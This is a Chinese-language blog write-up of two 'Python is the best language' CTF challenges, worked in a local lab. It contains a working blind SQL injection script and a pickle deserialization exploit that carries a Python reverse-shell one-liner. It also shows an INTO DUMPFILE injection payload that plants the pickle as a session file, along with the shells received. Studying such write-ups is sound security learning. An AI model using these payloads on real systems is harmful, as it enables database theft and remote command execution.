Sky's blog

Python is the best language

Word count: 4,815 / Reading time: 23 min
2018/04/01 Share

前言

自己对python的web框架了解并不是很多,于是为了学习……打算从零开始一步一步分析一下如何去做flask的题目。

环境搭建

首先

1
python db_create.py

发现缺少库依赖,然后一路装过来

1
2
3
4
5
6
pip install Flask
pip install flask_login
pip install flask_bootstrap
pip install flask_moment
pip install sqlalchemy
pip install MySQLdb

然后出现了报错,随后发现MySQLdb不能直接安装
随即用了另一指令

1
pip install MySQL-python

然后安装继续报错

1
mysql_config not found

随后运行指令

1
sudo apt-get install libmysqlclient-dev

即可解决,然后继续装库

1
pip install flask_wtf

即可安装完所有需求库
然后再

1
python db_create.py

又报错,发现是config配置问题,随机

1
vi config.py

将第7行更改为

1
SQLALCHEMY_DATABASE_URI = "mysql://root:@127.0.0.1/flask?charset=utf8"

注:用户root,无密码
然后再运行

1
python db_create.py

发现报错,无flask库,于是创建库

1
CREATE DATABASE `flask` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

再运行

1
2
python db_create.py
python run.py

不能外网访问,随机更改run.py文件

1
vi run.py

更改为

1
2
if __name__ == "__main__":
app.run(host='0.0.0.0',port=10000)

随后

1
python run.py

即可在ip:10000访问题目

源码结构

因为接触flask框架不算多,所以也抱着一个萌新的态度来分析
根目录下是3个文件

1
2
3
app
run.py
config.py

自然不必多说

1
2
3
app为放置应用程序的文件夹
run.py为启动文件
config.py是配置文件

然后进入app文件夹

1
2
3
4
5
6
7
8
9
10
static文件夹放置静态资源
templates文件夹放置模板,用于渲染(说白了就是前端views)
__init__.py 文件里包含导入各种框架和函数,初始化flask应用,初始化数据库
error.py 用于404和500报错
forms.py 用于表单登录,注册等
models.py 放置操作数据库的代码
Mycache.py 出题人自己写的缓存文件
Mysessions.py 出题人自己写的session文件
others.py mysql操作语句等函数
routes.py 路由文件

题目分析

这不多的代码一共出了2个题目

1
2
Python is the best language1
Python is the best language2

我个人认为,第一问可能就是个sql注入,第二问应该是Mycache.py与Mysessions.py出了问题
原因很简单

1
2
1.不多的代码里有许多sql操作
2.除了一些标准的文件,自己写的Mycache.py与Mysessions.py非常可疑

那么我们分析的时候也就很有针对性了,重点关注sql的操作和出题者自己写的文件,也就是
sql部分

1
2
routes.py
others.py

缓存部分

1
2
Mycache.py
Mysessions.py

Python is the best language1

由于是第一问,肯定难度相对较低,于是我开始寻找sql注入的问题,审计routes.py
当然,如果一行一行看过去,肯定是很难受的,我们先看看大体结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@app.before_request
def before_request():

@app.teardown_request
def shutdown_session(exception=None):
db_session.remove()

@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
@login_required
def index():

@app.route('/explore')
@login_required
def explore():

@app.route('/login', methods=['GET', 'POST'])
def login():

@app.route('/logout')
def logout():

@app.route('/register', methods=['GET', 'POST'])
def register():

@app.route('/user/<username>')
@login_required
def user(username):

@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():

@app.route('/follow/<username>')
@login_required
def follow(username):

@app.route('/unfollow/<username>')
@login_required
def unfollow(username):

可以看到功能无非就是注册,登录,退出,编辑等
这里我直接看了编辑功能即/edit_profile
因为这是登录后为数不多可操作的功能
审计代码,关键定位于sql操作上

1
2
3
4
5
6
7
8
if form.validate_on_submit():
current_user.username = form.username.data
current_user.note = form.note.data
res = mysql.Mod("user", {"id": current_user.id}, {
"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})
if res != 0:
flash('Your changes have been saved.')
return redirect(url_for('edit_profile'))

定位到关键操作

1
2
res = mysql.Mod("user", {"id": current_user.id}, {
"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})

我们跟进Mod函数

1
2
3
4
5
6
7
8
9
10
11
12
def Mod(self, tablemame, where, values):
sql = "update " + tablemame + " "
sql += "set " + \
"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0

发现是update,可注入,查看过滤点

1
2
3
def validate_note(self, note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
raise ValidationError("Don't input invalid charactors!")

发现note处明显有问题,可以的符号非常多
我在本地构造了一下开始测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import re
uid='1'
username = 'sky'
note = "12345' and (select username like 0x25) and sleep(5) and 'a'='a"
def validate_note(note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note) == None:
print "Don't input invalid charactors!"

def Mod(tablemame, where, values):
sql = "update " + tablemame + " "
sql += "set " + \
"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
return sql

validate_note(note)
res = Mod("user", {"id": uid}, {
"username": "'%s'" % username, "note": "'%s'" % note})
print res

发现轻松bypass,随即构造脚本进行注入
首先抓了个包观察了一下

1
csrf_token=IjY1MTRhZmJkYzYzZGNkMWQ2NzBhNGIwOWRhZmMwMzJhNGJjZTNiODIi.DaJ5pw.Pp6QpdeA_1n9txXtoyqAB0jSgSk&username=sky&note=011&submit=Submit

发现是有csrf_token的,还需要处理获取一下,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-
import re
import requests
import string

cookies = {
"cookieconsent_status":"dismiss","continueCode":"1ZmEW8xEBave7rXY9NJ52R43LzGQ2HBuM0MpZy1QDnmwolK6PqObVgkjPr8v","remember_token":"1|bd7ae859aa61d2458faf36eecdd36b40c949bb0e0c5c6b2d42fd5462d043d01f935625d5df66deaa15eb56ce76afadd4a1f5ef9f5f2826dcc7d2e9d66f341c75","session":"f8a0d3db-ab28-496b-943d-eda1ca2642cd"
}
url = "http://192.168.130.157:10000/edit_profile"
r = requests.get(url=url,cookies=cookies)
csrf_token_re = r'<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">'
csrf_token = re.findall(csrf_token_re, r.content)[0]
flag = ""
true_flag = ""
for i in range(1,1000):
payload = flag
for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_":
data = {
"csrf_token": csrf_token,
"username": "sky",
"note": "12345' and (select flllllag like binary 0x%s25 from flaaaaag) and sleep(3) and 'a'='a"%(payload+hex(ord(j))[2:]),
"submit": "Submit"
}
try:
r =requests.post(url=url,data=data,cookies=cookies,timeout=2.5)
except:
flag += hex(ord(j))[2:]
true_flag += j
print true_flag
break

运行即可拿到flag:QWB{us1ng_val1dator_caut1ous}

Python is the best language2

思考攻击点

作为一个萌新,我对flask的理解并不是很深入,拿下了第一题后,我非常迷茫,因为找不到切入点
但是在others.py里发现了一下奇特的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]


class FilterException(Exception):

def __init__(self, value):
super(FilterException, self).__init__(
'the callable object {value} is not allowed'.format(value=str(value)))


def _hook_call(func):
def wrapper(*args, **kwargs):
print args[0].stack
if args[0].stack[-2] in black_type_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper


def load(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()

def loads(str):
file = StringIO(str)
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return unpkler.load()

这可以明显的看出可能后面有一道命令执行,并且Unpkler引起了我的兴趣:from pickle import Unpickler as Unpkler,因为这是反序列化,虽然我对flask理解并不是很多,但类似php我知道,反序列化经常是漏洞点,并且可以进行RCE,随即这成了我的突破口。

pickle序列化学习

首先看一下pickle的作用
pickle是为了序列化/反序列化一个对象的,可以把一个对象持久化存储。
比如你有一个对象,想下次运行程序的时候直接用,可以直接用pickle打包存到硬盘上。或者你想把一个对象传给网络上的其他程序,可以用pickle打包,然后传过去,那边的python程序用pickle反序列化,就可以用了。
用法上,它主要有两个函数:load和dump,load是从序列化之后的数据中解出来,dump是把对象序列化。
我们实战尝试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
a1 = 'apple'
b1 = {1: 'One', 2: 'Two', 3: 'Three'}
c1 = ['fee', 'fie', 'foe', 'fum']
f1 = open('test',"wb")
pickle.dump(a1,f1,True)
pickle.dump(b1,f1,True)
pickle.dump(c1,f1,True)
f1.close()
f2 = open('test',"rb")
a2 = pickle.load(f2)
print a2
b2 = pickle.load(f2)
print b2
c2 = pickle.load(f2)
print c2

得到结果

1
2
3
apple
{1: 'One', 2: 'Two', 3: 'Three'}
['fee', 'fie', 'foe', 'fum']

稍微分析一下就可以知道

1
pickle.dump(object, file)

是序列化

1
object = pickle.load( file)

是反序列化
再深入一些

1
pickle.dump(object, file)

可以拆分为

1
2
P = pickle.Pickler(file)
P.dump(object)

即生成一个新的pickler,用来pickle到一个打开的输出文件对象file,然后写一个对象到pickler的文件/流。

1
object = pickle.load(file)

也可以拆分为

1
2
U = pickle.Unpickler(file) 
object = U.load( )

即生成一个unpickler,用来从一个打开的文件对象file unpickle,然后从unpickler的文件/流读取一个对象。
这样看来就容易理解许多,其实就是为了方便我们操作,pickle将序列化简化成只需要dump一些,而反序列化简化成只需要load一下。
我们再做一点测试

1
2
3
4
5
6
import pickle
a1 = 'apple'
a2 = pickle.dumps(a1)
print a2
a3 = pickle.loads(a2)
print a3

输出

1
2
3
4
S'apple'
p0
.
apple

这里使用了

1
string = pickle.dumps(object)

返回一个字符串作为已pickle对象的表达

1
object = pickle.loads(string)

从字符串读取一个对象,而不是从文件
简单来说,还是之前的dumps是序列化,loads是反序列化,但这里直接可以操作字符串,而不是文件

题目分析

有了之前的基础,一些题目中的函数就容易看懂许多了

1
2
3
4
5
6
7
8
9
10
def load(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()

def loads(str):
file = StringIO(str)
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return unpkler.load()

这两个简单看来就是带有过滤的反序列化,一个用于操作文件,一个用于操作字符串
那么我们现在去看看问题在哪里:
首先我们确定,问题出现于Mycache.py和Mysession.py
经过全局搜索,我发现本题主要调用的是load,也就是对文件的操作,所以我将注意力定位到有关文件的类上
而这两个文件里分别有两个有关于文件的两个大类

1
2
FileSystemCache
FileSystemSessionInterface

那么他们的关联在哪里呢?
这里从FileSystemSessionInterface入手,容易发现以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class FileSystemSessionInterface(SessionInterface):
session_class = FileSystemSession

def __init__(self, cache_dir, threshold, mode, key_prefix="bdwsessions",
use_signer=False, permanent=True):

self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
self.key_prefix = key_prefix
self.use_signer = use_signer
self.permanent = permanent

def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
if not sid:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
if self.use_signer:
signer = self._get_signer(app)
if signer is None:
return None
try:
sid_as_bytes = signer.unsign(sid)
sid = sid_as_bytes.decode()
except BadSignature:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
data = self.cache.get(self.key_prefix + sid)
if data is not None:
return self.session_class(data, sid=sid)
return self.session_class(sid=sid, permanent=self.permanent)

其中关键行

1
2
3
4
self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
key_prefix="bdwsessions"
sid = request.cookies.get(app.session_cookie_name)
data = self.cache.get(self.key_prefix + sid)

很显然,这里FileSystemSessionInterface.cache调用了FileSystemCache
然后使用了FileSystemCache类里的get方法得到最后的数据
而传入的参数为

1
2
key_prefix="bdwsessions"
sid = request.cookies.get(app.session_cookie_name)

bdwsessions+cookies
那么我们跟进一下这个get方法:
在Mycache.py里容易发现第137行有

1
2
3
4
5
6
7
8
9
10
11
12
13
def get(self, key):
filename = self._get_filename(key)
try:
with open(filename, 'rb') as f:
pickle_time = load(f)
if pickle_time == 0 or pickle_time >= time():
a = load(f)
return a
else:
os.remove(filename)
return None
except (IOError, OSError, PickleError):
return None

其中对文件filename进行反序列化操作
那么filename这个变量名是什么呢?我们跟进一下

1
2
3
4
5
def _get_filename(self, key):
if isinstance(key, text_type):
key = key.encode('utf-8') # XXX unicode review
hash = md5(key).hexdigest()
return os.path.join(self._path, hash)

这里很明显,是将输入的key进行utf-8编码,再进行md5
而有了之前的分析,我们知道这个key即bdwsessions+cookies
我们抓包看一下自己的cookies格式
容易发现

1
f8a0d3db-ab28-496b-943d-eda1ca2642cd

所以我可以确定我们传入的key为

1
bdwsessionsf8a0d3db-ab28-496b-943d-eda1ca2642cd

那么我们md5一下得到

1
0c73b741796249d489754c8ec49621be

又根据config.py中给出的路径

1
2
3
4
5
SESSION_TYPE = "filesystem"
SESSION_FILE_THRESHOLD = 10000
SESSION_FILE_DIR = "/tmp/ffff"
SESSION_FILE_MODE = 0660
SESSION_PERMANENT = True

可以得到最终我们文件的路径为

1
/tmp/ffff/0c73b741796249d489754c8ec49621be

由于我是在本地搭建测试,所以我去查看一下,以证实自己的想法

1
2
3
4
root@ubuntu:/# cd /tmp/ffff
root@ubuntu:/tmp/ffff# ls
0c73b741796249d489754c8ec49621be a35a428bd3c0877883abdcf9a278014d
5bac4cc446cd857cdca44322243df871 b564de092ab86312866e8726d2436716

果不其然,第一个文件就是我们猜想的session文件

攻击构造思考

既然我们可以预知文件名和绝对路径,那我们可否触发load来任意反序列化我们构造的恶意代码呢?
这里我们容易知道mysql可以写入文件,但是需要很高的权限,但是这里结合config中的root用户,可以容易猜想到这里应该有足够的权限。
那么我们的思路很清晰了:
1.自己随意定义一个session
2.根据之前的规则计算出文件名
3.利用mysql的注入,将文件导入/tmp/ffff目录下
4.访问index的时候修改自己的session为之前我们定义的值
5.即可触发反序列化,造成攻击
首先来编写一个可以命令执行的文件,这里之前我们也提到,反序列化的时候是有黑名单的,即过滤
观察过滤

1
2
3
4
5
6
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]

这里容易发现

1
2
3
subprocess.Popen
subprocess.call
commands

均可使用
我们测试
首先写一个test1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pickle import Unpickler as Unpkler
from pickle import Pickler as Pkler
import commands
class Exploit(object):
def __reduce__(self):
return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
evil = Exploit()

def dump(file):
pkler = Pkler(file)
pkler.dump(evil)

with open("test","wb") as f:
dump(f)

再写一个test2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from os import *
from sys import *
from pickle import *
from io import open as Open
from pickle import Unpickler as Unpkler
from pickle import Pickler as Pkler

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]

class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'the callable object {value} is not allowed'.format(value=str(value)))

def _hook_call(func):
def wrapper(*args, **kwargs):
print args[0].stack
if args[0].stack[-2] in black_type_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper

def LOAD(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()

with Open("test","rb") as f:
LOAD(f)

然后我们首先运行test1.py去生成序列化文件
接着我们本地监听23333端口
然后再运行test2.py去模拟题目触发反序列化
发现成功反弹shell

1
2
root@ubuntu:/var/www/html/test# python test2.py 
[<function getoutput at 0x7f49ea7321b8>, ('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',)]

以及收到的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
sky@ubuntu:~$ nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
Connection from [127.0.0.1] port 23333 [tcp/*] accepted (family 2, sport 35168)
# ls
test
test1.py
test2.py
# cd ..
# ls
index.html
QWBflask
test
#

发现测试成功
现在我们需要做的就是将我们恶意构造的序列化文件转换成16进制,再利用union填充导入到session文件即可
但是这里我又发现了一个新的问题,就是之前我找到的edit_profile攻击点没有逗号,这里我懒得使用join去Bypass逗号,因为我担心这样在导入文件的时候会出现蛇皮的错误,所以我又看了一下代码
不一会儿我又在/register处发现更简单的过滤问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
username = StringField('Username', validators=[DataRequired()])
email = StringField('Email', validators=[DataRequired(), Email()])
password = PasswordField('Password', validators=[DataRequired()])
password2 = PasswordField(
'Repeat Password', validators=[DataRequired(), EqualTo('password')])
submit = SubmitField('Register')

def validate_username(self, username):
if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')
user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different username.')

def validate_email(self, email):
user = mysql.One("user", {"email": "'%s'" % email.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different email address.')

可以发现email仅仅只使用了

1
email = StringField('Email', validators=[DataRequired(), Email()])

进行过滤
我们跟进一下email()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def __init__(self, message=None):
self.validate_hostname = HostnameValidation(
require_tld=True,
)
super(Email, self).__init__(r'^.+@([^.@][^@]+)$', re.IGNORECASE, message)

def __call__(self, form, field):
message = self.message
if message is None:
message = field.gettext('Invalid email address.')

match = super(Email, self).__call__(form, field, message)
if not self.validate_hostname(match.group(1)):
raise ValidationError(message)

此处的正则仅仅是用来email格式的,根本不能影响我们进行注入
所以我们只需要

1
select id from user where email = 'sky'/**/or/**/1=1#@sky.com'

即可造成注入
那么相对来说,union select也容易了很多,只需要

1
sky'/**/union/**/select/**/0x.../**/into/**/dumpfile/**/'/tmp/ffff/md5(key)'#@sky.com

那我们先来生成一下16进制的恶意文件

1
2
3
4
5
6
7
8
9
10
11
12
import binascii
import cPickle
import commands
class Exploit(object):
def __reduce__(self):
return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def serialize_exploit():
shellcode = cPickle.dumps(Exploit())
return shellcode

print binascii.b2a_hex(serialize_exploit())

得到

1
0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c323333333329293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e

payload

先给自己设定一个session

1
f8a0d3db-ab28-496b-943d-eda1caskysky

然后md5(bdwsessionsf8a0d3db-ab28-496b-943d-eda1caskysky)
预测文件名

1
/tmp/ffff/ba9141ecfff5fe135fb55991b531ee07

在注册点的email处填入

1
sky'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c323333333329293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e/**/into/**/dumpfile/**/'/tmp/ffff/ba9141ecfff5fe135fb55991b531ee07'#@sky.com

接着我们监听端口23333

1
2
sky@ubuntu:/tmp/ffff$ nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)

然后我们去访问index,顺便修改session触发反序列化
然后即可成功收到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sky@ubuntu:/tmp/ffff$ nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
Connection from [127.0.0.1] port 23333 [tcp/*] accepted (family 2, sport 35210)
$ ls
app
config.py
config.pyc
MySQL-python-1.2.3b1
MySQL-python-1.2.3b1.tar.gz
run.py
$ cd ..
$ ls
index.html
QWBflask
test
$

此题也最终完结

后记

写这样一篇文章,目的就是在于帮助自己和大家去探索一个未知的领域,从零开始做题。
感叹现在的知名赛事真的是对web越来越不友好了,涉及点全面,还动不动带着点bin。
最后不得不膜一发bendawang,绝对是好题~

CATALOG
  1. 1. 前言
  2. 2. 环境搭建
  3. 3. 源码结构
  4. 4. 题目分析
  5. 5. Python is the best language1
  6. 6. Python is the best language2
    1. 6.1. 思考攻击点
    2. 6.2. pickle序列化学习
    3. 6.3. 题目分析
    4. 6.4. 攻击构造思考
    5. 6.5. payload
  7. 7. 后记